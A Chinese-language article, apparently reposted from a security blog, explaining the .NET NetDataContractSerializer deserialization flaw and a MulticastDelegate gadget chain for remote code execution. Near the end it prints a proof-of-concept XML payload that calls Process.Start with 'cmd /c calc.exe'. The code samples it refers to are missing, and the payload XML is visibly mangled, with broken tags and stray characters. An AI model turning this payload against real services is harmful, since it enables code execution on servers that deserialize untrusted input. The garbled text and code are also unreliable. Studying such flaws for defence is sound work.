NetDataContractSerializer和DataContractSerializer一樣用於序列化和反序列化Windows Communication Foundation (WCF) 訊息中發送的資料。兩者之間存在一個重要區別:NetDataContractSerializer 包含了CLR,透過CLR類型添加額外資訊並保存引用來支援類型精確,而DataContractSerializer 則不包含。因此,只有在序列化和反序列化端使用相同的 CLR 類型時,才能使用 NetDataContractSerializer。若要序列化物件使用 WriteObject或Serialize方法, 若要反序列化 XML流使用 ReadObject或Deserialize方法。在某些場景下讀取了惡意的XML流就會造成反序列化漏洞,從而實現遠端RCE攻擊,本文筆者從原理和程式碼審計的視角做了相關介紹和復現。
#使用WriteObject或Serialize可以非常方便的實作.NET物件與XML資料之間的轉化,注意NetDataContractSerializer包含了程序集的名字和被序列化類型的類型。這些額外資訊可以用來將XML反序列化成特殊類型,允許相同類型可以在客戶端和服務端同時使用。另外的資訊是z:Id屬性在不同的元素上意義是不同的。這個用來處理引用類型以及當XML被反序列化時是否引用可以保留,最後的結論是這個輸出相比DataContractSerializer的輸出包含了更多資訊。下面透過一個實例來說明問題,先定義TestClass物件
TestClass物件定義了三個成員,並實作了一個靜態方法ClassMethod啟動程序。序列化透過建立物件實例分別給成員賦值
筆者使用Serialize得到序列化TestClass類別後的xml資料
<testclass><age>18</age><classname>360</classname><name>Ivan1ee</name></testclass>
NetDataContractSerializer類別反序列過程是將XML流轉換為對象,透過建立一個新物件的方式呼叫ReadObject多個重載方法或Serialize方法實現的,檢視定義得知繼承自XmlObjectSerializer抽象類別、IFormatter接口,
NetDataContractSerializer類別實作了XmlObjectSerializer抽象類別中的WriteObject、ReadObject方法,也實作了IFormatter中定義的方法。筆者透過建立新物件的方式呼叫Deserialize方法實現的具體實作程式碼可參考以下
#其實在Deserialize方法內也是呼叫了ReadObject方法反序列化的
反序列化過程中使用ReadObject方法呼叫了ReadObjectHandleExceptions方法,省略一些非核心程式碼,進入InternalReadObject方法體內反序列化後得到物件的屬性,列印輸出成員Name的值。
多路廣播委託(MulticastDelegate)繼承自Delegate,其呼叫清單中可以擁有多個元素的委託,實際上所有委託類型都衍生自MulticastDelegate。 MulticastDelegate類別的_invocationList欄位在建構委託鏈時會引用委託數組,但為了取得對委託鏈更多的控制就得使用GetInvocationList方法,它是具有一個帶有鏈接的委託列表,在對委託實例進行調用的時候,將按列表中的委託順序進行同步調用,那麼如何將calc.exe新增至GetInvocationList列表方法?首先先看Comparison
Comparison類別回傳委託,再使用Delegate或MulticastDelegate類別的公共靜態方法Combine將委託加入鏈中作為Comparison的類型比較器
使用Comparer
多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组,让它的每个元素都引用链中的一个委托,然后返回对该数组的引用,下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。
最后传入攻击载荷后得到完整序列化后的poc,如下
从代码审计的角度只需找到可控的Path路径就可以被反序列化,例如以下场景:
上面两种方式都是很常见的,需要重点关注。
1. 代码中实现读取本地文件内容
2. 传递poc xml,弹出计算器网页返回200
1. <arrayofstring><count>2</count> ><comparer><_comparison><delegate><assembly>mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089</assembly> ><delegateentry><assemblyz:ref></assemblyz:ref><methodname>Compare</methodname> ><target></target><targettypename>System.String a:targetTypeName >System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > a:delegateEntry >Start a:methodName >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089 >System.Diagnostics.Process a:targetTypeName >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > Delegate >System.Diagnostics.Process Start(System.String,System.String) Signature >System.Diagnostics.ProcessStart(System.String, System.String) Signature2 >8 MemberType ><genericarguments></genericarguments> method0 >Int32 Compare(System.String, System.String) Signature >System.Int32 Compare(System.String,System.String) >8 MemberType > method1 > _comparison > Comparer >2 Version >/c calc.exe string >cmd string > Items > ArrayOfstring ></targettypename></delegateentry></delegate></_comparison></comparer></arrayofstring>
最后附上动态效果图
以上是如何進行NetDataContractSerializer反序列化漏洞分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!